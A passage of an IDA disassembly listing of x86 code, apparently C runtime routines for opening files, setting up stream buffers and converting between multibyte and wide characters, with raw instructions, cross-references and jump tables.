4 mov eax, [ebp+var_4] loc_43385E: ; CODE XREF: sub_433790+3Fj mov esp, ebp pop ebp retn sub_433790 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433870 proc near ; CODE XREF: sub_429750+98p ; sub_42BCB0+ECp ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43F6F8 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE4h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4E942C, 0 jnz short loc_4338EE lea eax, [ebp+var_1C] push eax push 1 push offset dword_43F390 push 1 nop call near ptr 2760000h test eax, eax jz short loc_4338C2 mov dword_4E942C, 1 jmp short loc_4338EE ; --------------------------------------------------------------------------- loc_4338C2: ; CODE XREF: sub_433870+44j lea ecx, [ebp+var_1C] push ecx push 1 push offset dword_43F38C push 1 push 0 nop call near ptr 2760AD3h test eax, eax jz short loc_4338E7 mov dword_4E942C, 2 jmp short loc_4338EE ; --------------------------------------------------------------------------- loc_4338E7: ; CODE XREF: sub_433870+69j xor eax, eax jmp loc_433A18 ; --------------------------------------------------------------------------- loc_4338EE: ; CODE XREF: sub_433870+2Dj ; sub_433870+50j ... cmp dword_4E942C, 2 jnz short loc_433925 cmp [ebp+arg_14], 0 jnz short loc_433906 mov edx, dword_4E92E4 mov [ebp+arg_14], edx loc_433906: ; CODE XREF: sub_433870+8Bj mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_14] push ecx nop call near ptr 2760AD3h jmp loc_433A18 ; --------------------------------------------------------------------------- loc_433925: ; CODE XREF: sub_433870+85j cmp dword_4E942C, 1 jnz loc_433A16 cmp [ebp+arg_10], 0 jnz short loc_433941 mov edx, dword_4E92F4 mov [ebp+arg_10], edx loc_433941: ; CODE XREF: sub_433870+C6j push 0 push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_18] neg edx sbb edx, edx and edx, 8 add edx, 1 push edx mov eax, [ebp+arg_10] push eax nop call near ptr 28F0000h mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_433975 xor eax, eax jmp loc_433A18 ; --------------------------------------------------------------------------- loc_433975: ; CODE XREF: sub_433870+FCj mov [ebp+var_4], 0 mov eax, [ebp+var_20] shl eax, 1 add eax, 3 and al, 0FCh call sub_421EE0 mov [ebp+var_2C], esp mov [ebp+var_18], esp mov ecx, [ebp+var_2C] mov [ebp+var_24], ecx mov edx, [ebp+var_20] shl edx, 1 push edx push 0 mov eax, [ebp+var_24] push eax call sub_421410 add esp, 0Ch mov [ebp+var_4], 0FFFFFFFFh jmp short loc_4339CB ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_4339CB: ; CODE XREF: sub_433870+142j cmp [ebp+var_24], 0 jnz short loc_4339D5 xor eax, eax jmp short loc_433A18 ; --------------------------------------------------------------------------- loc_4339D5: ; CODE XREF: sub_433870+15Fj mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx push 1 mov edx, [ebp+arg_10] push edx nop call near ptr 28F0000h mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_4339FE xor eax, eax jmp short loc_433A18 ; --------------------------------------------------------------------------- loc_4339FE: ; CODE XREF: sub_433870+188j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_0] push eax nop call near ptr 2760000h jmp short loc_433A18 ; --------------------------------------------------------------------------- loc_433A16: ; CODE XREF: sub_433870+BCj xor eax, eax loc_433A18: ; CODE XREF: sub_433870+79j ; sub_433870+B0j ... lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_433870 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433A30 proc near ; CODE XREF: sub_429810+A1p ; sub_42A430+137p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi loc_433A37: ; CODE XREF: sub_433A30+2Fj cmp [ebp+arg_0], 0 jnz short loc_433A5B push offset dword_43E4A4 push 0 push 2Eh push offset dword_43F704 push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_433A5B int 3 ; Trap to Debugger loc_433A5B: ; CODE XREF: sub_433A30+Bj ; sub_433A30+28j xor eax, eax test eax, eax jnz short loc_433A37 mov ecx, dword_4E9250 add ecx, 1 mov dword_4E9250, ecx mov edx, [ebp+arg_0] mov [ebp+var_4], edx push 3Bh push offset dword_43F704 push 2 push 1000h call sub_41EDD0 add esp, 10h mov ecx, [ebp+var_4] mov [ecx+8], eax mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jz short loc_433AB6 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] or ecx, 8 mov edx, [ebp+var_4] mov [edx+0Ch], ecx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 1000h jmp short loc_433ADB ; --------------------------------------------------------------------------- loc_433AB6: ; CODE XREF: sub_433A30+69j mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, 4 mov eax, [ebp+var_4] mov [eax+0Ch], edx mov ecx, [ebp+var_4] add ecx, 14h mov edx, [ebp+var_4] mov [edx+8], ecx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 2 loc_433ADB: ; CODE XREF: sub_433A30+84j mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov eax, [edx+8] mov [ecx], eax mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_433A30 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+10h] mov [ebp-8], eax mov ecx, [ebp-8] add ecx, 4 mov [ebp-8], ecx mov edx, [ebp-8] mov eax, [edx-4] mov [ebp-4], eax mov dword ptr [ebp-8], 0 mov ecx, [ebp-4] push ecx push 40h mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_433B40 add esp, 10h mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433B40 proc near ; CODE XREF: sub_429EE0+2B0p ; .XComp0:00433B33p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 48h mov [ebp+var_24], 0Ch mov [ebp+var_20], 0 mov eax, [ebp+arg_4] and eax, 80h test eax, eax jz short loc_433B6D mov [ebp+var_1C], 0 mov [ebp+var_38], 10h jmp short loc_433B78 ; --------------------------------------------------------------------------- loc_433B6D: ; CODE XREF: sub_433B40+1Ej mov [ebp+var_1C], 1 mov [ebp+var_38], 0 loc_433B78: ; CODE XREF: sub_433B40+2Bj mov ecx, [ebp+arg_4] and ecx, 8000h test ecx, ecx jnz short loc_433BB1 mov edx, [ebp+arg_4] and edx, 4000h test edx, edx jz short loc_433B9C mov al, [ebp+var_38] or al, 80h mov [ebp+var_38], al jmp short loc_433BB1 ; --------------------------------------------------------------------------- loc_433B9C: ; CODE XREF: sub_433B40+50j cmp dword_4E949C, 8000h jz short loc_433BB1 mov cl, [ebp+var_38] or cl, 80h mov [ebp+var_38], cl loc_433BB1: ; CODE XREF: sub_433B40+43j ; sub_433B40+5Aj ... mov edx, [ebp+arg_4] and edx, 3 mov [ebp+var_40], edx cmp [ebp+var_40], 0 jz short loc_433BCE cmp [ebp+var_40], 1 jz short loc_433BD7 cmp [ebp+var_40], 2 jz short loc_433BE0 jmp short loc_433BE9 ; --------------------------------------------------------------------------- loc_433BCE: ; CODE XREF: sub_433B40+7Ej mov [ebp+var_34], 80000000h jmp short loc_433C07 ; --------------------------------------------------------------------------- loc_433BD7: ; CODE XREF: sub_433B40+84j mov [ebp+var_34], 40000000h jmp short loc_433C07 ; --------------------------------------------------------------------------- loc_433BE0: ; CODE XREF: sub_433B40+8Aj mov [ebp+var_34], 0C0000000h jmp short loc_433C07 ; --------------------------------------------------------------------------- loc_433BE9: ; CODE XREF: sub_433B40+8Cj call sub_42C1E0 mov dword ptr [eax], 16h call sub_42C1F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_43404A ; --------------------------------------------------------------------------- loc_433C07: ; CODE XREF: sub_433B40+95j ; sub_433B40+9Ej ... mov eax, [ebp+arg_8] mov [ebp+var_44], eax mov ecx, [ebp+var_44] sub ecx, 10h mov [ebp+var_44], ecx cmp [ebp+var_44], 30h ja short loc_433C52 mov eax, [ebp+var_44] xor edx, edx mov dl, byte_434062[eax] jmp off_43404E[edx*4] loc_433C2E: ; DATA XREF: .XComp0:off_43404Eo mov [ebp+var_8], 0 jmp short loc_433C70 ; --------------------------------------------------------------------------- loc_433C37: ; CODE XREF: sub_433B40+E7j ; DATA XREF: .XComp0:00434052o mov [ebp+var_8], 1 jmp short loc_433C70 ; --------------------------------------------------------------------------- loc_433C40: ; CODE XREF: sub_433B40+E7j ; DATA XREF: .XComp0:00434056o mov [ebp+var_8], 2 jmp short loc_433C70 ; --------------------------------------------------------------------------- loc_433C49: ; CODE XREF: sub_433B40+E7j ; DATA XREF: .XComp0:0043405Ao mov [ebp+var_8], 3 jmp short loc_433C70 ; --------------------------------------------------------------------------- loc_433C52: ; CODE XREF: sub_433B40+DAj ; sub_433B40+E7j ; DATA XREF: ... call sub_42C1E0 mov dword ptr [eax], 16h call sub_42C1F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_43404A ; --------------------------------------------------------------------------- loc_433C70: ; CODE XREF: sub_433B40+F5j ; sub_433B40+FEj ... mov ecx, [ebp+arg_4] and ecx, 700h mov [ebp+var_48], ecx cmp [ebp+var_48], 400h jg short loc_433CBC cmp [ebp+var_48], 400h jz short loc_433CD9 cmp [ebp+var_48], 200h jg short loc_433CB1 cmp [ebp+var_48], 200h jz short loc_433CF4 cmp [ebp+var_48], 0 jz short loc_433CD9 cmp [ebp+var_48], 100h jz short loc_433CE2 jmp short loc_433D06 ; --------------------------------------------------------------------------- loc_433CB1: ; CODE XREF: sub_433B40+155j cmp [ebp+var_48], 300h jz short loc_433CFD jmp short loc_433D06 ; --------------------------------------------------------------------------- loc_433CBC: ; CODE XREF: sub_433B40+143j cmp [ebp+var_48], 500h jz short loc_433CEB cmp [ebp+var_48], 600h jz short loc_433CF4 cmp [ebp+var_48], 700h jz short loc_433CEB jmp short loc_433D06 ; --------------------------------------------------------------------------- loc_433CD9: ; CODE XREF: sub_433B40+14Cj ; sub_433B40+164j mov [ebp+var_18], 3 jmp short loc_433D24 ; --------------------------------------------------------------------------- loc_433CE2: ; CODE XREF: sub_433B40+16Dj mov [ebp+var_18], 4 jmp short loc_433D24 ; --------------------------------------------------------------------------- loc_433CEB: ; CODE XREF: sub_433B40+183j ; sub_433B40+195j mov [ebp+var_18], 1 jmp short loc_433D24 ; --------------------------------------------------------------------------- loc_433CF4: ; CODE XREF: sub_433B40+15Ej ; sub_433B40+18Cj mov [ebp+var_18], 5 jmp short loc_433D24 ; --------------------------------------------------------------------------- loc_433CFD: ; CODE XREF: sub_433B40+178j mov [ebp+var_18], 2 jmp short loc_433D24 ; --------------------------------------------------------------------------- loc_433D06: ; CODE XREF: sub_433B40+16Fj ; sub_433B40+17Aj ... call sub_42C1E0 mov dword ptr [eax], 16h call sub_42C1F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_43404A ; --------------------------------------------------------------------------- loc_433D24: ; CODE XREF: sub_433B40+1A0j ; sub_433B40+1A9j ... mov [ebp+var_28], 80h mov edx, [ebp+arg_4] and edx, 100h test edx, edx jz short loc_433D75 lea eax, [ebp+arg_C] mov [ebp+var_2C], eax mov ecx, [ebp+var_2C] add ecx, 4 mov [ebp+var_2C], ecx mov edx, [ebp+var_2C] mov eax, [edx-4] mov [ebp+var_10], eax mov [ebp+var_2C], 0 mov ecx, dword_4E91F4 not ecx mov edx, [ebp+var_10] and edx, ecx and edx, 80h test edx, edx jnz short loc_433D75 mov [ebp+var_28], 1 loc_433D75: ; CODE XREF: sub_433B40+1F6j ; sub_433B40+22Cj mov eax, [ebp+arg_4] and eax, 40h test eax, eax jz short loc_433D97 mov ecx, [ebp+var_28] or ecx, 4000000h mov [ebp+var_28], ecx mov edx, [ebp+var_34] or edx, 10000h mov [ebp+var_34], edx loc_433D97: ; CODE XREF: sub_433B40+23Dj mov eax, [ebp+arg_4] and eax, 1000h test eax, eax jz short loc_433DAC mov ecx, [ebp+var_28] or ch, 1 mov [ebp+var_28], ecx loc_433DAC: ; CODE XREF: sub_433B40+261j mov edx, [ebp+arg_4] and edx, 20h test edx, edx jz short loc_433DC3 mov eax, [ebp+var_28] or eax, 8000000h mov [ebp+var_28], eax jmp short loc_433DD9 ; --------------------------------------------------------------------------- loc_433DC3: ; CODE XREF: sub_433B40+274j mov ecx, [ebp+arg_4] and ecx, 10h test ecx, ecx jz short loc_433DD9 mov edx, [ebp+var_28] or edx, 10000000h mov [ebp+var_28], edx loc_433DD9: ; CODE XREF: sub_433B40+281j ; sub_433B40+28Bj call sub_4331C0 mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_433E05 call sub_42C1E0 mov dword ptr [eax], 18h call sub_42C1F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_43404A ; --------------------------------------------------------------------------- loc_433E05: ; CODE XREF: sub_433B40+2A5j push 0 mov eax, [ebp+var_28] push eax mov ecx, [ebp+var_18] push ecx lea edx, [ebp+var_24] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+var_34] push ecx mov edx, [ebp+arg_0] push edx call near ptr 2851454h nop mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_433E51 nop call near ptr 27A0A66h push eax call sub_42C140 add esp, 4 mov eax, [ebp+var_14] push eax call sub_433760 add esp, 4 or eax, 0FFFFFFFFh jmp loc_43404A ; --------------------------------------------------------------------------- loc_433E51: ; CODE XREF: sub_433B40+2ECj mov ecx, [ebp+var_4] push ecx call near ptr 2770A41h nop mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_433E91 mov edx, [ebp+var_4] push edx call near ptr 27800D6h nop call near ptr 27A0A66h nop push eax call sub_42C140 add esp, 4 mov eax, [ebp+var_14] push eax call sub_433760 add esp, 4 or eax, 0FFFFFFFFh jmp loc_43404A ; --------------------------------------------------------------------------- loc_433E91: ; CODE XREF: sub_433B40+322j cmp [ebp+var_C], 2 jnz short loc_433EA2 mov cl, [ebp+var_38] or cl, 40h mov [ebp+var_38], cl jmp short loc_433EB1 ; --------------------------------------------------------------------------- loc_433EA2: ; CODE XREF: sub_433B40+355j cmp [ebp+var_C], 3 jnz short loc_433EB1 mov dl, [ebp+var_38] or dl, 8 mov [ebp+var_38], dl loc_433EB1: ; CODE XREF: sub_433B40+360j ; sub_433B40+366j mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_14] push ecx call sub_4333B0 add esp, 8 mov dl, [ebp+var_38] or dl, 1 mov [ebp+var_38], dl mov eax, [ebp+var_14] sar eax, 5 mov ecx, [ebp+var_14] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] mov al, [ebp+var_38] mov [edx+ecx+4], al movsx ecx, [ebp+var_38] and ecx, 48h test ecx, ecx jnz loc_433FEF movsx edx, [ebp+var_38] and edx, 80h test edx, edx jz loc_433FEF mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz loc_433FEF push 2 push 0FFFFFFFFh mov ecx, [ebp+var_14] push ecx call sub_430180 add esp, 0Ch mov [ebp+var_3C], eax cmp [ebp+var_3C], 0FFFFFFFFh jnz short loc_433F61 call sub_42C1F0 cmp dword ptr [eax], 83h jz short loc_433F5C mov edx, [ebp+var_14] push edx call sub_4253C0 add esp, 4 mov eax, [ebp+var_14] push eax call sub_433760 add esp, 4 or eax, 0FFFFFFFFh jmp loc_43404A ; --------------------------------------------------------------------------- loc_433F5C: ; CODE XREF: sub_433B40+3FAj jmp loc_433FEF ; --------------------------------------------------------------------------- loc_433F61: ; CODE XREF: sub_433B40+3EDj mov [ebp+var_30], 0 push 1 lea ecx, [ebp+var_30] push ecx mov edx, [ebp+var_14] push edx call sub_429A90 add esp, 0Ch test eax, eax jnz short loc_433FB9 movsx eax, [ebp+var_30] cmp eax, 1Ah jnz short loc_433FB9 mov ecx, [ebp+var_3C] push ecx mov edx, [ebp+var_14] push edx call sub_437FD0 add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_433FB9 mov eax, [ebp+var_14] push eax call sub_4253C0 add esp, 4 mov ecx, [ebp+var_14] push ecx call sub_433760 add esp, 4 or eax, 0FFFFFFFFh jmp loc_43404A ; --------------------------------------------------------------------------- loc_433FB9: ; CODE XREF: sub_433B40+439j ; sub_433B40+442j ... push 0 push 0 mov edx, [ebp+var_14] push edx call sub_430180 add esp, 0Ch mov [ebp+var_3C], eax cmp [ebp+var_3C], 0FFFFFFFFh jnz short loc_433FEF mov eax, [ebp+var_14] push eax call sub_4253C0 add esp, 4 mov ecx, [ebp+var_14] push ecx call sub_433760 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_43404A ; --------------------------------------------------------------------------- loc_433FEF: ; CODE XREF: sub_433B40+3B0j ; sub_433B40+3C2j ... movsx edx, [ebp+var_38] and edx, 48h test edx, edx jnz short loc_43403B mov eax, [ebp+arg_4] and eax, 8 test eax, eax jz short loc_43403B mov ecx, [ebp+var_14] sar ecx, 5 mov edx, [ebp+var_14] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] mov cl, [eax+edx+4] or cl, 20h mov edx, [ebp+var_14] sar edx, 5 mov eax, [ebp+var_14] and eax, 1Fh imul eax, 24h mov edx, dword_4E95A0[edx*4] mov [edx+eax+4], cl loc_43403B: ; CODE XREF: sub_433B40+4B8j ; sub_433B40+4C2j mov eax, [ebp+var_14] push eax call sub_433760 add esp, 4 mov eax, [ebp+var_14] loc_43404A: ; CODE XREF: sub_433B40+C2j ; sub_433B40+12Bj ... mov esp, ebp pop ebp retn sub_433B40 endp ; --------------------------------------------------------------------------- off_43404E dd offset loc_433C2E ; DATA XREF: sub_433B40+E7r dd offset loc_433C37 dd offset loc_433C40 dd offset loc_433C49 dd offset loc_433C52 byte_434062 db 0 ; DATA XREF: sub_433B40+E1r db 4 dd 3 dup(4040404h), 4010404h, 3 dup(4040404h), 4020404h dd 3 dup(4040404h), 0CC030404h, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4340A0 proc near ; CODE XREF: sub_42A430+127p ; sub_42C200+40p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, dword_4E96A0 jb short loc_4340B2 xor eax, eax jmp short loc_4340D0 ; --------------------------------------------------------------------------- loc_4340B2: ; CODE XREF: sub_4340A0+Cj mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] movsx eax, byte ptr [eax+edx+4] and eax, 40h loc_4340D0: ; CODE XREF: sub_4340A0+10j pop ebp retn sub_4340A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4340E0 proc near ; CODE XREF: sub_42A6B0+3CAp ; sub_42A6B0+B90p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 8 push offset dword_4E96A8 call near ptr 2920A33h nop cmp dword_4E96A4, 0 jz short loc_434118 push offset dword_4E96A8 nop call near ptr 2920974h push 13h call sub_425990 add esp, 4 mov [ebp+var_4], 1 jmp short loc_43411F ; --------------------------------------------------------------------------- loc_434118: ; CODE XREF: sub_4340E0+18j mov [ebp+var_4], 0 loc_43411F: ; CODE XREF: sub_4340E0+36j mov ax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_434160 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_434145 push 13h call sub_425A30 add esp, 4 jmp short loc_434150 ; --------------------------------------------------------------------------- loc_434145: ; CODE XREF: sub_4340E0+57j push offset dword_4E96A8 nop call near ptr 2920974h loc_434150: ; CODE XREF: sub_4340E0+63j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_4340E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434160 proc near ; CODE XREF: sub_4340E0+48p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jnz short loc_434173 xor eax, eax jmp loc_4341FC ; --------------------------------------------------------------------------- loc_434173: ; CODE XREF: sub_434160+Aj cmp dword_4E92E4, 0 jnz short loc_4341AA mov eax, [ebp+arg_4] and eax, 0FFFFh cmp eax, 0FFh jle short loc_43419B call sub_42C1E0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_4341FC ; --------------------------------------------------------------------------- loc_43419B: ; CODE XREF: sub_434160+29j mov ecx, [ebp+arg_0] mov dl, byte ptr [ebp+arg_4] mov [ecx], dl mov eax, 1 jmp short loc_4341FC ; --------------------------------------------------------------------------- loc_4341AA: ; CODE XREF: sub_434160+1Aj mov [ebp+var_8], 0 lea eax, [ebp+var_8] push eax push 0 mov ecx, dword_4524F0 push ecx mov edx, [ebp+arg_0] push edx push 1 lea eax, [ebp+arg_4] push eax push 220h mov ecx, dword_4E92F4 push ecx nop call near ptr 28E1569h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4341E9 cmp [ebp+var_8], 0 jz short loc_4341F9 loc_4341E9: ; CODE XREF: sub_434160+81j call sub_42C1E0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_4341FC ; --------------------------------------------------------------------------- loc_4341F9: ; CODE XREF: sub_434160+87j mov eax, [ebp+var_4] loc_4341FC: ; CODE XREF: sub_434160+Ej ; sub_434160+39j ... mov esp, ebp pop ebp retn sub_434160 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434200 proc near ; CODE XREF: sub_42C5E0+74Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push offset dword_4E96A8 nop call near ptr 2920A33h cmp dword_4E96A4, 0 jz short loc_434238 push offset dword_4E96A8 call near ptr 2920974h nop push 13h call sub_425990 add esp, 4 mov [ebp+var_4], 1 jmp short loc_43423F ; --------------------------------------------------------------------------- loc_434238: ; CODE XREF: sub_434200+18j mov [ebp+var_4], 0 loc_43423F: ; CODE XREF: sub_434200+36j mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_434280 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_434268 push 13h call sub_425A30 add esp, 4 jmp short loc_434273 ; --------------------------------------------------------------------------- loc_434268: ; CODE XREF: sub_434200+5Aj push offset dword_4E96A8 nop call near ptr 2920974h loc_434273: ; CODE XREF: sub_434200+66j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_434200 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434280 proc near ; CODE XREF: sub_434200+4Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi loc_434286: ; CODE XREF: sub_434280+3Aj cmp dword_4524F0, 1 jz short loc_4342B6 cmp dword_4524F0, 2 jz short loc_4342B6 push offset aMb_cur_max1Mb_ ; "MB_CUR_MAX == 1 || MB_CUR_MAX == 2" push 0 push 4Fh push offset dword_43F710 push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_4342B6 int 3 ; Trap to Debugger loc_4342B6: ; CODE XREF: sub_434280+Dj ; sub_434280+16j ... xor eax, eax test eax, eax jnz short loc_434286 cmp [ebp+arg_4], 0 jz short loc_4342C8 cmp [ebp+arg_8], 0 jnz short loc_4342CF loc_4342C8: ; CODE XREF: sub_434280+40j xor eax, eax jmp loc_4343D9 ; --------------------------------------------------------------------------- loc_4342CF: ; CODE XREF: sub_434280+46j mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_4342EE cmp [ebp+arg_0], 0 jz short loc_4342E7 mov eax, [ebp+arg_0] mov word ptr [eax], 0 loc_4342E7: ; CODE XREF: sub_434280+5Dj xor eax, eax jmp loc_4343D9 ; --------------------------------------------------------------------------- loc_4342EE: ; CODE XREF: sub_434280+57j cmp dword_4E92E4, 0 jnz short loc_434314 cmp [ebp+arg_0], 0 jz short loc_43430A mov ecx, [ebp+arg_4] movzx dx, byte ptr [ecx] mov eax, [ebp+arg_0] mov [eax], dx loc_43430A: ; CODE XREF: sub_434280+7Bj mov eax, 1 jmp loc_4343D9 ; --------------------------------------------------------------------------- loc_434314: ; CODE XREF: sub_434280+75j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, off_4522E4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_43439D cmp dword_4524F0, 1 jle short loc_434370 mov edx, [ebp+arg_8] cmp edx, dword_4524F0 jl short loc_434370 xor eax, eax cmp [ebp+arg_0], 0 setnz al push eax mov ecx, [ebp+arg_0] push ecx mov edx, dword_4524F0 push edx mov eax, [ebp+arg_4] push eax push 9 mov ecx, dword_4E92F4 push ecx nop call near ptr 28F0000h test eax, eax jnz short loc_434396 loc_434370: ; CODE XREF: sub_434280+B7j ; sub_434280+C2j mov edx, [ebp+arg_8] cmp edx, dword_4524F0 jb short loc_434386 mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax+1] test ecx, ecx jnz short loc_434396 loc_434386: ; CODE XREF: sub_434280+F9j call sub_42C1E0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_4343D9 ; --------------------------------------------------------------------------- loc_434396: ; CODE XREF: sub_434280+EEj ; sub_434280+104j mov eax, dword_4524F0 jmp short loc_4343D9 ; --------------------------------------------------------------------------- loc_43439D: ; CODE XREF: sub_434280+AEj xor edx, edx cmp [ebp+arg_0], 0 setnz dl push edx mov eax, [ebp+arg_0] push eax push 1 mov ecx, [ebp+arg_4] push ecx push 9 mov edx, dword_4E92F4 push edx call near ptr 28F0000h nop test eax, eax jnz short loc_4343D4 call sub_42C1E0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_4343D9 ; --------------------------------------------------------------------------- loc_4343D4: ; CODE XREF: sub_434280+142j mov eax, 1 loc_4343D9: ; CODE XREF: sub_434280+4Aj ; sub_434280+69j ... pop edi pop esi pop ebx pop ebp retn sub_434280 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4524F0, 1 jle short loc_434403 push 103h mov eax, [ebp+8] push eax call sub_429750 add esp, 8 mov [ebp-4], eax jmp short loc_43441A ; --------------------------------------------------------------------------- loc_434403: ; CODE XREF: .XComp0:004343EBj mov ecx, [ebp+8] mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 103h mov [ebp-4], eax loc_43441A: ; CODE XREF: .XComp0:00434401j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4524F0, 1 jle short loc_434450 push 1 mov eax, [ebp+8] push eax call sub_429750 add esp, 8 mov [ebp-4], eax jmp short loc_434465 ; --------------------------------------------------------------------------- loc_434450: ; CODE XREF: .XComp0:0043443Bj mov ecx, [ebp+8] mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 1 mov [ebp-4], eax loc_434465: ; CODE XREF: .XComp0:0043444Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4524F0, 1 jle short loc_434490 push 2 mov eax, [ebp+8] push eax call sub_429750 add esp, 8 mov [ebp-4], eax jmp short loc_4344A5 ; 